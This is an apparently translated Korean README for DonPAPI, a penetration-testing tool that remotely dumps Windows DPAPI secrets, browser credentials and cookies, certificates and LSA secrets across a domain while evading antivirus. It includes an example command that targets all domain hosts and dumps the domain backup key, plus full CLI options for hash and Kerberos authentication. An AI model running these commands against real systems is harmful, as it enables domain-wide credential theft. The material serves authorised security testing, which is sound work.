
Windows 환경을 위한 자동 원격 자격 증명 덤퍼로, DPAPI 비밀, 브라우저 자격 증명, 인증서 및 구성 파일을 추출하며 내장된 방어 회피 기능과 웹 기반 전리품 뷰어를 제공합니다.
DonPAPI는 방어 회피를 고려하여 여러 Windows 컴퓨터에서 원격으로 비밀을 덤프하는 작업을 자동화합니다.

수집된 자격 증명:
DPAPI에 대한 프랑스어 강연을 했습니다. 제목은 DPAPI - Don't Put Administration Passwords In 🇫🇷입니다:
이 도구는 pipx나 전용 가상 환경에 설치해야 합니다.
pipx install donpapi
또는 (최신 커밋 포함)
pipx install git+https://github.com/login-securite/DonPAPI.git
또는 (개발용)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
이 동작은 -t에 지정된 대상에서 비밀을 수집하는 데 사용됩니다.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
인증은 --domain으로 도메인을, --username으로 사용자 이름을, 그리고 선택적으로 --password로 비밀번호, --hashes로 해시, --aesKey로 AES 키를 지정하거나 -k를 사용하여 ccache 형식의 Kerberos 티켓(Impacket 스타일)으로 수행합니다.
또한 --laps와 이 매개변수의 값으로 로컬 LAPS 계정의 사용자 이름을 지정하여 LAPS를 통해 컴퓨터에 인증할 수 있습니다.
기본적으로 DonPAPI는 다음을 수집합니다:
수집하려는 각 항목을 --collectors(SharpHound 스타일)로 지정할 수 있습니다. --fetch-pvk를 사용하면 DonPAPI가 AD 도메인의 도메인 백업 키를 자동으로 가져와 마스터키를 해독하는 데 사용합니다. 그렇지 않으면 --pvkfile로 키를 가져올 수 있습니다. --pwdfile 및 --ntfile은 마스터키를 잠금 해제하기 위해 비밀을 제공하는 데 사용됩니다. 하지만 새로 해독된 마스터키가 있다면 --mkfile을 사용할 수 있습니다.
[!WARNING] 일부 수집 방법은 LSA 시크릿을 덤프해야 합니다(DPAPI 머신 키를 얻기 위해). 이 작업은 소음이 발생할 수 있으며, 최신 EDR은 즉시 차단할 수 있습니다. 이러한 소음이 있는 작업을 피하려면
-nr를 사용할 수 있지만, 일부 비밀은 수집되지 않습니다.
DonPAPI는 이제 Secretsdump 동작을 조정하기 위한 구성 파일을 지원합니다. 이 파일은 ~/.donpapi/donpapi.conf에 위치하며, 기본적으로 다음과 같습니다:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI는 복구 파일을 지원합니다. collect 명령을 실행할 때마다 남은 대상과 모든 옵션에 대한 복구 파일이 저장됩니다. 기본적으로 파일은 ~/.donpapi/register/ 폴더에 위치합니다.
내부 평가에서 특정 대상에 대해 집중적으로 작업하고 해당 컴퓨터에서 비밀을 계속해서 수집해야 하는 경우가 있습니다. 멍청한 bash 루프를 사용하지 말고 --keep-collecting X를 사용하세요. X는 각 수집 세션 사이에 대기할 초입니다.
이제 모든 비밀을 수집했으니, 이를 탐색하고 싶을 것입니다. DonPAPI를 사용하면 웹 GUI를 통해 수집된 모든 비밀을 살펴볼 수 있습니다. 실행하려면 donpapi gui를 사용하세요.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
일반
이 화면에서는 수집된 모든 컴퓨터에서 재사용된 SAM 비밀번호, 덤프된 예약 작업 및 LSA에서 덤프된 서비스 계정 비밀번호를 보여줍니다. 모두 CSV 형식으로 내보낼 수 있습니다.
비밀
이 화면에서는 DonPAPI로 수집된 모든 비밀을 보여줍니다. 여러 요소를 검색하고 비밀을 CSV로 내보낼 수 있습니다.
쿠키
이 화면에서는 DonPAPI로 수집된 모든 쿠키를 보여줍니다. 여러 요소를 검색하고 쿠키를 CSV로 내보낼 수 있으며, 또한 브라우저에 붙여넣을 수 있도록 JavaScript 코드로 복사하여 붙여넣을 수 있습니다.
인증서
이 화면에서는 DonPAPI로 수집된 모든 인증서를 보여줍니다. 여러 요소를 검색하고 인증서를 CSV로 내보낼 수 있으며, 인증서가 클라이언트 인증을 허용하는 경우 Yes를 클릭하면 Certipy 명령을 복사하여 붙여넣을 수 있습니다.
이 도구는 교육 및 윤리적 해킹 목적으로만 사용됩니다. Login Sécurité는 이 도구로 인한 남용에 대해 책임을 지지 않습니다.
GUI 프론트엔드는 Vue3 + Vite.js로 개발되었으며, 백엔드는 Python Flask입니다.
기본적으로 http://127.0.0.1:8088에 노출되지만, https://0.0.0.0:443과 같이 원하는 방식으로 노출할 수 있습니다.
[!WARNING] DonPAPI를 이렇게 전체 네트워크에 절대 노출하지 마십시오. 매우 위험할 수 있습니다. DonPAPI는
--ssl로 HTTPS를 지원하며--basic-auth로 기본 인증을 추가할 수 있습니다. 더욱이, DonPAPI를 이렇게 인터넷에 절대 노출하지 마십시오.
테이블의 값을 클릭하면 즉시 클립보드에 복사됩니다.
GUI에는 비밀번호 숨기기 체크박스가 있어 민감한 데이터를 GUI에서 숨길 수 있으며, 스크린샷에 적합합니다.
모든 크레딧은 어려운 연구와 코딩을 해주신 훌륭한 분들에게 돌아갑니다: